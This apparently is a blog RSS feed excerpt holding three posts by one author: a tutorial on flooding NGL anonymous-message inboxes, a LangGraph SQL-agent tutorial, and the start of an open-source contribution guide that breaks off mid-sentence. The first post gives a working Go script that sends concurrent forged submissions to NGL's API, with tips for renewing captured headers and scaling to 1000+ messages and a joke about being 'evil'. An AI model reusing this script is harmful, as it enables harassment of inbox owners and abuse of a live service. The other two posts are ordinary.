            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 12:31:39 GMT</pubDate>
            <atom:updated>2025-04-10T21:26:04.722Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Bombed NGL Messages on New Year 🚀</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mmp79Cl5SSCf6gTnbB0Rig.png" /></figure><blockquote><strong>For educational purposes only. Don’t be a jerk :)</strong></blockquote><p><strong>Heyy!</strong><br>So its been 3 months to New Year and I think now is a right time that I write this blog, because I am basically revealing my identity this time but It has been 3 months so I guess, I’ll be fine !</p><p>In this blog we will understand (and code) how I reverse engineered <a href="https://ngl.link/">NGL</a> to bomb 1000+ messages under a minute in my friends NGL inbox….</p><p>Before we began I must tell you that this blog is divided into 2 parts below , <strong>First </strong>One is a <strong>3 min read </strong>explaining how I managed to do what I did , and <strong>Second </strong>is a <strong>detailed tutorial</strong> so that you can do it too!</p><p>You can find link to <em>github </em>repo at end of this blog :D !</p><blockquote>“Understanding is a kind of hacking.”<br><strong> — Paul Graham</strong></blockquote><h3>Let’s Roll 🚀 !</h3><p>This New Year, like every average software engineer out there, I was just chilling at my desk, endlessly scrolling through Instagram. Everyone — and I mean <em>everyone</em> — was posting those NGL links on their stories. You know, that “Send me anonymous messages 👀” trend? Yeah, that.</p><p>Now, I have no beef with anyone. No grudges. No secrets to spill. But my curious developer brain kicked in. I started wondering: <strong>how exactly does NGL handle these anonymous messages?</strong> 🤔</p><h3>The Research🔥</h3><p>I jumped onto the NGL web version, created my own link (because obviously, I needed a test subject), and sent a message to myself from an incognito browser window. Classic self-hack setup XD.</p><p>Then I opened Chrome Developer tools, navigated to the <strong>Network tab</strong>, and as expected , there it was — a nice little API request going off as I submitted the message.</p><p>engineer instinct : <strong>activated</strong>. 🧠</p><p>I copied that entire API request from DevTools into <strong>Postman</strong> and hit “Send.”<br>And guess what?</p><p><strong>Boom. It worked.</strong> The message popped up in my NGL inbox.<br>No CAPTCHA. No validation. No sign of rate limiting ( or at lead that’s what I thought ). Nothing.</p><p>So I thought, <em>“Why not wish everyone a Happy New Year… in proper software engineer style?”</em></p><h3>Golang Let’s Go🐹</h3><p>I wrote a small Go script that could send POST requests to the NGL endpoint on loop. The goal? <strong>Just Message flood and NOT A DDOS ATTAAAKK!</strong></p><p>At first, I wasn’t sure how smart NGL’s backend was — maybe they had IP rate limiting or some anti-bot system? But I gave it a shot with <strong>100 requests to my own link</strong>.</p><p>And lol… It. Freakin’. Worked. 💀</p><p>Suddenly, I had a pool of 100 NGL messages from “anonymous” senders on my NGL profile, all delivered in under a minute. No delays. No throttling.</p><p>Feeling more excited, I started bumping the numbers:</p><ul><li>100 → 250 → 500 → <strong>1000</strong></li></ul><p>Eventually, the server stopped accepting messages. Not because it detected the spam — but probably because <strong>the headers expired</strong>, But hey, this is a software engineer we’re talking about. There’s always a workaround.</p><h3>The Refresh Hack 🔄</h3><p>So here’s the trick:</p><ol><li>Open a new incognito window.</li><li>Send a single message manually through the NGL form.</li><li>Watch the network request again.</li><li><strong>Copy the new request again.</strong></li><li>Go back to Postman paste request there,</li><li>copy new headers from there and replace them with old header of script [ make sure that your req was from incognito ]</li></ol><p>Flooding begins again like nothing happened.</p><p><strong><em>If you want to experiment the same without any spoilers, now is your chance, because below this point we are going into a detailed tutorial for all the steps discussed above !</em></strong></p><h3><strong>!! Detailed tutorial for nerds !!</strong></h3><h4>Step 1: Inspect the Request</h4><p>Start by visiting <a href="https://ngl.link/">ngl.link</a> and creating a your own test profile. Open Chrome DevTools and go to the <strong>Network</strong> tab. Send a message to this profile from an Incognito window.</p><p>When the message is sent, observe the POST request made to:<br> <a href="https://ngl.link/api/submit">https://ngl.link/api/submit</a></p><p>This request contains several fields in the body, including:</p><ul><li>username — the NGL profile name (e.g. abc_1234)</li><li>question — the actual message text</li><li>deviceId — a random UUID</li><li>Sure enough, there was a POST request going to https://ngl.link/api/submit with all the form data — the username, message, device ID, etc.</li></ul><h4>📬 Step 2: Replaying the Request with Postman</h4><p>The same request can be replicated in <a href="https://www.postman.com/">Postman</a>. By copying the request from the browser and pasting them into Postman, messages can be submitted directly — without using the NGL frontend. Here is how you do it,</p><ol><li><strong>Open Chrome DevTools</strong> and navigate to the <strong>Network</strong> tab.</li><li>In a new <strong>Incognito window</strong>, visit your NGL profile and send a test message.</li><li>Look for a <strong>POST request</strong> to <a href="https://ngl.link/api/submit.">https://ngl.link/api/submit.</a></li><li>Right-click on the request and select <strong>“Copy” → “Copy as cURL (bash)”</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*tizGoVjYbD2CaJLP383Oiw.png" /></figure><p>Now, switch to <strong>Postman</strong>:</p><ul><li>Create or open a workspace.</li><li>Click on <strong>“Import”</strong> in the top-left corner.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqzlOj7tsYN5LZB2m-AmMw.png" /></figure><ul><li>In the pop-up modal, paste the copied cURL command and import it.</li><li>Click <strong>“Send”</strong> to execute the request. You’ll see a 200 ok response</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXUk_g0V3VEHcP2X5Cr2jg.png" /></figure><p>This confirms that the API doesn’t have strict request validation and will accept messages from anywhere, as long as headers are correct.</p><h3>🔄 Export Code in Any Language</h3><p>A major benefit of using Postman is that it allows you to export the request in <strong>multiple programming languages</strong>. Once your request works in Postman:</p><ul><li>Click on the <strong>code icon (“&lt;/&gt;”)</strong> near the right menu.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*Iy5lG8o2Nwpnw-D3lp_oVg.png" /></figure><ul><li>Choose your desired language (e.g., Python, JavaScript, Go, etc.).</li><li>Postman will auto-generate a code snippet based on the request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQEjt7MLppuH-SMoNL1R-A.png" /></figure><p>This feature saves time by giving you a starting point in any language. You can refine the code further to add loops, error handling, or concurrency.</p><h3>🧠 Step 3: Automating the Request with Golang</h3><p>For this tutorial, we’ll focus on <strong>Golang</strong>. Using Go, you can scale the request into hundreds or even thousands of messages with the help of goroutines and concurrency primitives like sync.WaitGroup.</p><p>We’ll use the exported Postman request as the foundation and refine it into a robust script that simulates a mini-DDoS on your own NGL inbox (for educational purposes, of course 😄).</p><p>Below is the complete Go script that sends up to 1500 POST requests in parallel:</p><h3>💻 The Script (for Learning Only)</h3><p>Here is the <strong>Golang code</strong> that performs the message bombing:</p><blockquote><strong><em>Reminder: Replace Headers with Yours ( Optional but can cause error)</em></strong></blockquote><p>Before you run the script, <strong>you must replace the headers</strong> with the ones captured from your own browser session. The headers provided in the code above are just an example taken from a specific request and might not work universally.</p><p>here is where you’ll find headers for your req on postman</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*LCyNUdVyvFv5J4GQPoxabw.png" /></figure><p>copy all your req headers and replace the with headers in script !</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br> &quot;io&quot;<br> &quot;net/http&quot;<br> &quot;net/url&quot;<br> &quot;strings&quot;<br> &quot;sync&quot;<br>)<br><br>func main() {<br> // 🔧 Configuration Variables<br> const (<br>  targetUsername = &quot;ayush3241&quot; // This is me // Target NGL username<br>  message        = &quot;We have read your blog Ayush&quot; // Message to send<br>  deviceID       = &quot;e092577e-d0da-f5f596a7b202&quot; <br>// Number of messages to send<br>  requestCount   = 10 //change it to 1000 if you are evil<br> )<br><br> var wg sync.WaitGroup<br> endpoint := &quot;https://ngl.link/api/submit&quot;<br> method := &quot;POST&quot;<br><br> for i := 0; i &lt; requestCount; i++ {<br>  wg.Add(1)<br>  go func() {<br>   defer wg.Done()<br><br>   data := url.Values{}<br>   data.Set(&quot;username&quot;, targetUsername)<br>   data.Set(&quot;question&quot;, message)<br>   data.Set(&quot;deviceId&quot;, deviceID)<br>   data.Set(&quot;gameSlug&quot;, &quot;&quot;)<br>   data.Set(&quot;referrer&quot;, &quot;&quot;)<br><br>   payload := strings.NewReader(data.Encode())<br><br>   client := &amp;http.Client{}<br>   req, err := http.NewRequest(method, endpoint, payload)<br>   if err != nil {<br>    fmt.Println(&quot;Request creation error:&quot;, err)<br>    return<br>   }<br><br>   // Headers (copied from real browser request)<br>   // you may not be able to use these headers as they may get expired by the time you are reading this blog<br>   // replace your own headers from postman,<br>   // these headers will be visible on postman golang code too<br><br>   req.Header.Add(&quot;accept&quot;, &quot;*/*&quot;)<br>   req.Header.Add(&quot;accept-language&quot;, &quot;en-US,en;q=0.9&quot;)<br>   req.Header.Add(&quot;content-type&quot;, &quot;application/x-www-form-urlencoded; charset=UTF-8&quot;)<br>   req.Header.Add(&quot;origin&quot;, &quot;https://ngl.link&quot;)<br>   req.Header.Add(&quot;priority&quot;, &quot;u=1, i&quot;)<br>   req.Header.Add(&quot;referer&quot;, &quot;https://ngl.link/&quot;+targetUsername)<br>   req.Header.Add(&quot;sec-ch-ua&quot;, `&quot;Google Chrome&quot;;v=&quot;131&quot;, &quot;Chromium&quot;;v=&quot;131&quot;, &quot;Not_A Brand&quot;;v=&quot;24&quot;`)<br>   req.Header.Add(&quot;sec-ch-ua-mobile&quot;, &quot;?1&quot;)<br>   req.Header.Add(&quot;sec-ch-ua-platform&quot;, `&quot;Android&quot;`)<br>   req.Header.Add(&quot;sec-fetch-dest&quot;, &quot;empty&quot;)<br>   req.Header.Add(&quot;sec-fetch-mode&quot;, &quot;cors&quot;)<br>   req.Header.Add(&quot;sec-fetch-site&quot;, &quot;same-origin&quot;)<br>   req.Header.Add(&quot;user-agent&quot;, &quot;Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36&quot;)<br>   req.Header.Add(&quot;x-requested-with&quot;, &quot;XMLHttpRequest&quot;)<br>   req.Header.Add(&quot;Authorization&quot;, &quot;Basic TUtGV0ZZTjJR0tWWlhGWUdORVVzpFbJcXl4dFJVS2ZuZkoyQUJWa2R&quot;)<br><br><br> /////////////////////////////////////////  <br><br><br>   res, err := client.Do(req)<br>   if err != nil {<br>    fmt.Println(&quot;HTTP request error:&quot;, err)<br>    return<br>   }<br>   defer res.Body.Close()<br><br>   body, err := io.ReadAll(res.Body)<br>   if err != nil {<br>    fmt.Println(&quot;Response reading error:&quot;, err)<br>    return<br>   }<br><br>   fmt.Println(&quot;Response:&quot;, string(body))<br>  }()<br> }<br><br> wg.Wait() // ⏳ Wait for all goroutines to finish<br>}</pre><p>after running the above script for 15 requests this will be the response, You can do it for even 1000 + requests …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*uvDRCC3y12lBIWy-OYJK1A.png" /></figure><h3>🧨 Conclusion</h3><p>Congratulations, you’ve just:</p><ul><li>Reverse-engineered a real-world app</li><li>Automated request sending with Go</li><li>Bypassed lazy backend validation</li></ul><p>This isn’t just about trolling — it’s a real exercise and real beauty of software engineering !</p><h3>🚀 Bonus: Make It a CLI Tool?</h3><p>Want to take it further? Turn your script into a full-fledged CLI tool with flags like:</p><pre>go run ngl-bomb.go --username your_id --message &quot;hi from ngl_bomber&quot; --count 500</pre><p>Let me know if you manage to make something like this😉</p><p>I hope you liked this fun hack ! Play around as much as you want just refrain from using this to trouble someone :)</p><p>Hit me up on <a href="https://twitter.com/ayush3241">Twitter</a> if you have any questions ! Please do give a star on <a href="https://github.com/ayushgupta4002/NGL_Bomber">github </a>if you liked the hack !!</p><p><strong><em>Github </em></strong>: <a href="https://github.com/ayushgupta4002/NGL_Bomber">https://github.com/ayushgupta4002/NGL_Bomber</a></p><p>Thankyou!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*VMYspUZ-UmC5Agu5.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=befe502c9145" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a LLM Agent to Directly Interact with a Database]]></title>
            <link>https://medium.com/@ayush4002gupta/building-an-llm-agent-to-directly-interact-with-a-database-0c0dd96b8196?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c0dd96b8196</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 16:25:59 GMT</pubDate>
            <atom:updated>2025-02-22T16:26:19.235Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bFG2e7s8-EEO5eS66zwEEA.png" /></figure><p>Large Language Models (LLMs) have revolutionized the way we interact with data and build intelligent applications. In this guide, I will walk you through the process of creating an <strong>LLM-powered Database agent </strong>using Google’s Gemini model and <strong>LangGraph </strong>that can directly interact with a database to query and retrieve data efficiently.</p><h3>Prerequisites</h3><ul><li>Basic knowledge of Python, LangGraph and Langchain</li><li>Access to Google Gemini API key [You can use any LLM you want]</li><li>Database setup (e.g., SQLite, PostgreSQL, MySQL, etc.)</li></ul><p>So before we dive in, I’ll assume you’re familiar with the basics I mentioned above— but even if you don’t, I’ll still keep things as simple and clear as possible. So, grab a cup of coffee, settle in, and get ready — because we’re about to explore some seriously cool AI stuff. Let’s go! 🚀☕</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/233/1*qmquTfyyHzh2RN5qC8FecQ.jpeg" /></figure><h4>Understanding the Workflow</h4><p>The application flow begins when the user enters a natural language query (e.g., <em>“What were the total sales last month?”</em>). This input is passed to the query_gen node, where the LLM, with the help of the provided database schema (tables, columns, and their relationships), converts the user&#39;s question into an SQL query.</p><p>The generated SQL query is then sent to the query_check node, which acts as a verification layer. This step is like a double-check process to ensure that the query is syntactically and logically correct, reducing the chance of runtime errors during execution.</p><p>Once validated, the query moves to the query_execute node, where it is executed on the database using the db_exec_tool. This tool runs the SQL query and retrieves the result from the database.</p><p>Finally, the LLM interprets the raw query output into a human-friendly response, making the data easier for the user to understand (e.g., <em>“The total sales last month were $50,000”</em>).<br>The response is then returned to the user as the final output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/146/1*gjM2Ytp8xfOLgFwrXruhow.png" /></figure><h4>Should we start with the coding part now ? Yeah we should !</h4><p>Let’s start by setting up the LLM</p><pre>import os<br>from langchain_google_genai import ChatGoogleGenerativeAI<br># Set your API key<br>os.environ[&quot;GOOGLE_API_KEY&quot;] = &quot;YOUR_KEY&quot;<br># Initialize the model<br>llm = ChatGoogleGenerativeAI(model=&quot;gemini-1.5-flash&quot;)<br>llm.invoke(&quot;hi&quot;)<br><br># cool now our llm is ready to handle tasks</pre><p>In this application, we are going to use three tools. Tools in an LLM agent are essentially functions that allow the agent to interact with the outside world, such as databases, APIs, or other systems. The three tools used in this application are:</p><ol><li><strong>list_tables_tool</strong> — This tool is responsible for listing all the tables in the connected database. It helps the agent understand the structure of the database.</li><li><strong>get_schema_tool</strong> — This tool retrieves the schema of a specific table, providing details about the columns and their data types.</li><li><strong>db_exec_tool</strong> — This tool executes SQL queries on the database and returns the results.</li></ol><p>These tools collectively enable the LLM agent to understand the database structure and interact with it dynamically to retrieve information or perform operations.</p><pre>db = SQLDatabase.from_uri(&quot;Your_database_url&quot;) # connecting database<br>from langchain_community.agent_toolkits import SQLDatabaseToolkit<br>toolkit=SQLDatabaseToolkit(db=db,llm=llm)<br>tools=toolkit.get_tools()<br><br># mapping through all the tools to get the tools we need<br><br># tool1<br>list_tables_tool = next((tool for tool in tools if tool.name == &quot;sql_db_list_tables&quot;), None)<br># list_tables_tool.invoke(&quot;&quot;) fetches names of all table <br><br># tool2 <br>get_schema_tool = next((tool for tool in tools if tool.name == &quot;sql_db_schema&quot;), None)<br># get_schema_tool.invoke(&quot;table_name&quot;) fetches schema for that table</pre><pre><br>@tool # this decorator specifies that this function is a tool<br>def db_exec_tool(query : str)-&gt; str:<br>    &quot;&quot;&quot;<br>    Execute a SQL query against the database and return the result.<br>    If the query is invalid or returns no result, an error message will be returned.<br>    In case of an error, the user is advised to rewrite the query and try again.<br>    &quot;&quot;&quot; <br>    # this description is very important for llm to understand what this tool does <br><br>    # Remove ```sql and ``` if present<br>    query = query.replace(&quot;```sql&quot;, &quot;&quot;).replace(&quot;```&quot;, &quot;&quot;).strip()<br><br>    print(&quot;Executing query:&quot;)<br>    print(query)<br><br>    result = db.run_no_throw(query)<br><br>    print(&quot;Query result:&quot;)<br>    # print(result)<br>    return {&quot;result&quot;: result}</pre><p>That’s it, all 3 tools are ready now we will create our 3 nodes query_gen, <em>query_checker </em>and <em>query_executor</em>, these nodes will use the tools to give final output.</p><p><strong>Let’s start with query_gen node</strong></p><p>This node will take <strong>MessagesState </strong>as input. The <strong>MessagesState </strong>is an object that contains a key called messages, which holds an array. This array acts as a conversation log, storing the user&#39;s inputs as well as every response generated by the LLM and outputs from various nodes in the workflow. Each time a new message is produced—whether it&#39;s from user input, an LLM response, or a node&#39;s output—it will be appended to this messages array, ensuring that the complete interaction history is maintained and accessible throughout the agent&#39;s execution. This allows the agent to maintain context and make informed decisions based on the conversation&#39;s flow.</p><blockquote>since it’s an array….so <strong>state[“messages”][-1].content </strong>will naturally return the value at last index which will have the last response generated by llm or previous node, the output of any last activity will always be at last index.</blockquote><pre>def query_gen(state: MessagesState)-&gt; Command[Literal[ &quot;query_check&quot;]]:<br>    &quot;&quot;&quot;<br>    Query Generation Node to convert natural language database queries into PostgreSQL queries.<br><br>    Args:<br>        state (MessagesState): The current state containing the conversation history with a natural language database query.<br><br>    Returns:<br>        Command: A command to update the state with the generated PostgreSQL query.<br>    &quot;&quot;&quot;<br>    # print(&quot;query_generator&quot;)<br>    # print(state[&quot;messages&quot;][-1].content) # user given input will be at last index<br><br>    query_agent = create_react_agent(<br>            llm,  # The language model instance used by the agent<br>            tools=[list_tables_tool, get_schema_tool],  # List of database tools the agent can utilize<br>            state_modifier=(<br>                &quot;You are an expert database query generator specialized in PostgreSQL. &quot;<br>                &quot;You are provided with tools to list the tables in the database and get the schema of specific tables. &quot;<br>                &quot;Always use the list_tables_tool first to get an overview of available tables. &quot;<br>                &quot;Then, for any relevant table(s), use the get_schema_tool to retrieve their schema before constructing the query. &quot;<br>                &quot;Ensure that the SQL query you generate is syntactically correct and follows PostgreSQL standards. &quot;<br>                &quot;Your final output should only be the SQL query, without any additional explanation or commentary.&quot;<br>                &quot;If empty response is returned by database ,deal accordingly by telling that to user&quot;<br>            )<br>        )<br><br><br>    # Example of how the agent might be invoked (depends on the exact agent framework you use)<br>    result = query_agent.invoke(state)<br>    # print(result)<br>    return Command(<br>     update={<br>        &quot;messages&quot;: [<br>            # Append the reason (supervisor&#39;s response) to the state, tagged with &quot;supervisor&quot;<br>            HumanMessage(content=result[&quot;messages&quot;][-1].content, name=&quot;supervisor&quot;)<br>        ]<br>    },<br>    goto=&quot;query_check&quot;,  # Specify the next node in the workflow<br>  )<br><br></pre><p>In the query_gen function, we are creating what is called a <strong>REACT Agent</strong>. Think of this agent as an intelligent assistant that can both think and act. It can decide when to think using the LLM (language model) and when to act using the tools provided to it.</p><p><strong>Inputs Needed to Create the Agent:</strong></p><ul><li><strong>state_modifier </strong>(prompt): Instructions guiding the agent to list tables, fetch schemas, and generate a valid query.</li><li><strong>LLM</strong>: The language model that helps with reasoning and query generation.</li><li><strong>Tools </strong>: <em>list_tables_tool </em>(Gets the names of all tables ) , <em>get_schema_tool</em>: (Gets the structure of a table).</li></ul><p>The agent first checks the table names, then fetches the table’s schema if needed, and finally generates the SQL query using this information. The result is added to the state’s messages array, and the flow moves to the next step (query_check).</p><blockquote><strong>How does the agent know which to call ?</strong></blockquote><blockquote>Remember the description we provide in an agent function, that description is used by LLM to understand what a specific tool does, what input it takes and what it returns, in our case <strong>list_tables_tool </strong>and <strong>get_schema_tool </strong>are inbuilt tools hence no description is needed for them but for <strong>db_exec_tool </strong>we have added this description.</blockquote><p>In the end of query_gen function we are returning The Command object which is used to instruct the system on how to update the conversation state and where to move next in the workflow.</p><p>It updates the messages array in the MessagesState by appending the agent’s final output (the generated SQL query) as a HumanMessage with the name &quot;supervisor&quot;. This labels the message as coming from the &quot;supervisor&quot; or the system, indicating it is a response generated by the agent. After updating the state, the goto=&quot;query_check&quot; tells the system to move to the next node in the workflow named query_check, ensuring the conversation progresses smoothly.</p><pre>return Command(<br>     update={<br>        &quot;messages&quot;: [<br>            # Append the reason (supervisor&#39;s response) to the state, tagged with &quot;supervisor&quot;<br>            HumanMessage(content=result[&quot;messages&quot;][-1].content, name=&quot;supervisor&quot;)<br>        ]<br>    },<br>    goto=&quot;query_check&quot;,  # Specify the next node in the workflow<br>  )</pre><p>okay so now we have 2 items in our <strong>MessagesState </strong>object array , one is for user input and other item is the output given by query_gennode. This MessagesState object , containing this array is passed to query_check node which also expect MessagesState as input.</p><pre>def query_check(state: MessagesState)-&gt; Command[Literal[&quot;query_execute&quot;]]:<br>    &quot;&quot;&quot;<br>    This tool checks if the provided SQL query is correct.<br>    If incorrect, it returns the corrected query; otherwise, it returns the original query.<br>    &quot;&quot;&quot;<br>    query_check_system = &quot;&quot;&quot;You are a SQL expert with a strong attention to detail.<br>    You work with PostgreSQL, SQLite, and other relational databases.<br>    Your task is to carefully review the provided SQL query for any mistakes, including:<br>    - Quoting identifiers correctly (e.g., &quot;Snippet&quot; vs Snippet in PostgreSQL)<br>    - Data type mismatches<br>    - Using the correct number of arguments in functions<br>    - Ensuring joins use valid columns<br>    - Checking for NULL handling issues<br>    - Ensuring correct usage of UNION vs UNION ALL<br>    - Proper casting and type usage<br>    Make sure that the final query is in a postgres acceptable format<br>    If there is an issue, respond with the **corrected query only**.<br>    If the query is already correct, simply return the **original query**.<br>    &quot;&quot;&quot;<br>    query = state[&quot;messages&quot;][-1].content<br><br>    full_prompt = f&quot;{query_check_system}\n\nQuery:\n{query}&quot;<br><br>    # LLM invocation<br>    response = llm.with_structured_output(QueryChecker).invoke(full_prompt)<br><br>    print(&quot;query_Check&quot;)<br>    print(response)<br>    return Command(<br>     update={<br>        &quot;messages&quot;: [<br>            # Append the reason (supervisor&#39;s response) to the state, tagged with &quot;supervisor&quot;<br>            HumanMessage(content=response.query, name=&quot;supervisor&quot;)<br>        ]<br>    },<br>    goto=&quot;query_execute&quot;,  # Specify the next node in the workflow<br>  )</pre><p>Unlike the query_gen function, this node does not require a REACT agent or tools because it only involves a single LLM call to check the correctness of a query.</p><p>The function starts by fetching the last message from the state, which contains the SQL query generated in the previous query_gen node.</p><pre>query = state[&quot;messages&quot;][-1].content</pre><p>A system prompt is prepared, instructing the LLM to review the SQL query for common issues like quoting, data types, joins, NULL handling, and other PostgreSQL-specific mistakes. The query is then combined with this prompt and sent to the LLM for validation.</p><p>The LLM returns either the same query if it is correct or a corrected version if any issues are found. Finally, the validated query is appended to the messages array in the state, and the workflow moves to the next node called query_execute.</p><p>The query_execute function is responsible for executing the final SQL query and returning the result in a human-readable format. this function is the last node in our workflow and also takes the MessagesState as input , this state now contains an array where value at last index is our SQL query to be executed.</p><pre>def query_execute(state : MessagesState):<br>  &quot;&quot;&quot;<br>    This node executes the provided SQL query and return the response.<br>    It returns the response in simple human understandable format.<br>  &quot;&quot;&quot;<br>  # print(&quot;state from query execute&quot;)<br>  # print(state)<br>  executing_agent = create_react_agent(<br>          llm,  # The language model instance used by the agent<br>          tools=[db_exec_tool],  # List of database tools the agent can utilize<br>          state_modifier=(<br>              &quot;You are an expert PostgreSQL query executor. &quot;<br>              &quot;you can use db_exec_tool for execution of sql query&quot;<br>              &quot;Your primary task is to execute the provided SQL query accurately and return the result. &quot;<br>              &quot;Ensure that the query is executed against the database without modification, and the response is returned in a clear, human-understandable format. &quot;<br>              &quot;Do not generate new queries, retrieve schemas, or list tables unless explicitly asked. &quot;<br>              &quot;Your output should only contain the query execution result in a human readable manner with some explanation or commentary.&quot;<br>              &quot;Make sure that you show user the response and not just explanation of response&quot;<br>          ),<br><br>      )<br><br>  final_result = executing_agent.invoke(state)<br>  print(final_result[&quot;messages&quot;][-1].content)</pre><p>This node creates a REACT agent that uses the db_exec_tool—a tool specifically for executing SQL queries on the database. The agent is configured with a state modifier (prompt), instructing it to execute the provided query as it is, without modifying or generating new queries. It is also instructed to return the execution result in a clear, easy-to-understand format, including both the response data and some explanation if needed.</p><p>The agent processes the state containing the validated query from the previous node (query_check), executes it against the database using the db_exec_tool, and gives us a final result. This result is printed to the Terminal , you can return it using same Command object used in previous functions.</p><p>Now that our nodes and tools are set up, it’s time to connect everything together and define the flow of our process and test the agent. We start by creating a StateGraph instance and specifying MessagesState as the state type that will flow through the nodes.</p><pre>builder = StateGraph(MessagesState)<br># adding all our nodes to graph<br>builder.add_node(&quot;query_gen&quot;, query_gen)  # Add the supervisor node to the graph<br>builder.add_node(&quot;query_check&quot;, query_check)  # Add the supervisor node to the graph<br>builder.add_node(&quot;query_execute&quot;, query_execute)  # Add the supervisor node to the graph<br><br># Addin edges to define the workflow of the graph<br>builder.add_edge(START, &quot;query_gen&quot;)  # Connect the start node to the supervisor node<br># rest of edges between nodes are already added by Command object that we were returning in each node<br># Compile the graph to finalize its structure<br>graph = builder.compile()</pre><p>To test the application, we create an input structured as a dictionary with a key called messages. This key holds an array that represents the conversation state. Each element in the array is a tuple where the first part is the role (such as &quot;user&quot;), and the second part is the message content (like the user&#39;s query). This format aligns with the MessagesState, which keeps track of the entire conversation, appending every input and output as the process moves through each node.</p><p>We then pass this input into the graph using a loop, which streams outputs from each node. The responses from the nodes are processed, and if any output is not None, it is printed.</p><pre>import pprint<br><br>inputs = {<br>    &quot;messages&quot;: [<br>        (&quot;user&quot;, &quot;how many users have connected their github account?&quot;),<br>    ]<br>}<br>for output in graph.stream(inputs):<br>    for key, value in output.items():<br>        if value is None:<br>            continue<br>        # pprint.pprint(f&quot;Output from node &#39;{key}&#39;:&quot;)<br>        # pprint.pprint(value, indent=2, width=80, depth=None)</pre><p>And the output for the query will be something like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*yFgvkmgAWuo7g-gu8OZ6vQ.png" /></figure><p>Kaboom!! you are done , now you can make a terminal application out of it or use FastApi to convert it into an API or make it as a chatBOT , just go and tinker around to build whatever you want. If you have any doubts or queries you can dm me on <a href="https://x.com/Ayush3241"><strong>twitter/X</strong></a></p><p>The link to complete code file is here :</p><p><strong>github </strong>— <a href="https://github.com/ayushgupta4002/database-talks">https://github.com/ayushgupta4002/database-talks</a></p><p>Thank you for staying till the end, Do give it a star and leave a comment below if you liked this project and learned something new ; )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*NgccW8LadMa0DbJRGo_Q_Q.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c0dd96b8196" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Comprehensive Guide for Contributing to Open-Source]]></title>
            <link>https://medium.com/@ayush4002gupta/a-comprehensive-guide-for-contributing-to-open-source-5e0c63f329bb?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e0c63f329bb</guid>
            <category><![CDATA[contribution]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Sun, 04 Jun 2023 12:17:03 GMT</pubDate>
            <atom:updated>2023-06-04T14:25:37.202Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*puC-qg0Cqboy48zp.jpg" /></figure><blockquote><strong><em>But Why Open-Source?</em></strong></blockquote><p>Contributing to open-source projects is a transformative experience that allows individuals to actively participate in the development and improvement of software that is freely available to everyone. By contributing to open source, individuals can enhance their coding skills, gain real-world experience, and collaborate with a diverse community of developers from around the world. Whether it’s fixing bugs, adding new features, or improving documentation, every contribution, no matter how small, has the potential to make a significant impact. Moreover, open source fosters a spirit of sharing knowledge and promotes a culture of innovation, where ideas are exchanged, challenges are tackled collectively, and solutions are developed collaboratively. It is a powerful way to give back to the software community while building relationships, expanding professional networks, and leaving a lasting mark on the world of technology.</p><p>Contributing to open-source projects might seem daunting at first, but with the right approach, it becomes an enriching and fulfilling experience.</p><blockquote>Here’s a step-by-step guide to get you started:</blockquote><p><strong>A) Identify Your Interests and Select a Project:</strong></p><p>Explore open-source projects that align with your interests, skills, and passion. Websites like GitHub, GitLab, and Bitbucket host a vast array of projects covering diverse domains. Once you find a project that captivates your interest, study its documentation, including the README file, contributing guidelines, and code of conduct. Familiarize yourself with the project’s development workflow, coding standards, and communication channels.</p><p><strong>B) Set Up Your Development Environment</strong></p><p>Follow the project’s guidelines to set up your local development environment. Install the necessary dependencies, frameworks, and libraries. Ensure you understand the build process and are ready to start.</p><p><em>To perform the above two Steps you will have to Fork the Project and Clone it into your Device.</em></p><pre>git clone &lt;repository_url&gt;</pre><p>This command will clone the project in your Device and now In order to work on the project and make a pull request later we have to make a new branch. A branch refers to a separate line of development within a repository. It allows multiple developers to work on different features or improvements concurrently without directly modifying the main codebase.</p><blockquote>When a repository is created, it typically starts with a default branch called “master” or “main.” Developers can create new branches from this default branch or any existing branch to work on specific tasks.</blockquote><pre>git checkout -b &lt;branch_name&gt;</pre><p>Replace 